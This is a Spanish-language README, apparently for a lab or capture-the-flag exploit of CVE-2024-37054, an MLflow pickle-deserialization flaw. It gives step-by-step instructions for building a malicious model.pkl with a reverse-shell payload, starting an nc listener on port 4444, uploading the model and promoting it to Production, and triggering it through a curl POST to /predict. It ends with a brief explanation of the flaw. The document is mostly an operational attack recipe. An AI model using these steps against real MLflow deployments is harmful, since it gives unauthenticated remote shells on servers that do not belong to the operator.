
Exploit para CVE-2024-37054: Deserialización de pickle de MLflow RCE mediante carga de modelo manipulada al Model Registry, permitiendo una shell inversa sin autenticación en el endpoint /predict.
| Archivo | Propósito |
|---|
generate_model.py | Genera un model.pkl malicioso con payload de reverse shell |
upload_model.py | Sube el pickle a MLflow y lo promueve a Producción |
sample.csv | Archivo CSV utilizado para desencadenar el endpoint /predict |
Edita generate_model.py y establece tu IP tun0:
python3 generate_model.py
nc -lvnp 4444
Edita upload_model.py:
MLFLOW en http://127.0.0.1:5000MODEL_NAME al nombre del modelo activo que se encuentra en el dominio principalpython3 upload_model.py
Obtén una cookie de sesión nueva de la aplicación cliente, luego:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
La shell se recibe en tu listener.
Deserialización de Pickle a través del Registro de Modelos de MLflow
MLflow carga los modelos registrados utilizando pickle.load() de Python. Al subir un pickle manipulado como un artefacto de modelo y promoverlo a Producción, cualquier llamada posterior a /predict deserializa el payload del lado del servidor, logrando RCE no autenticado como el usuario de la aplicación.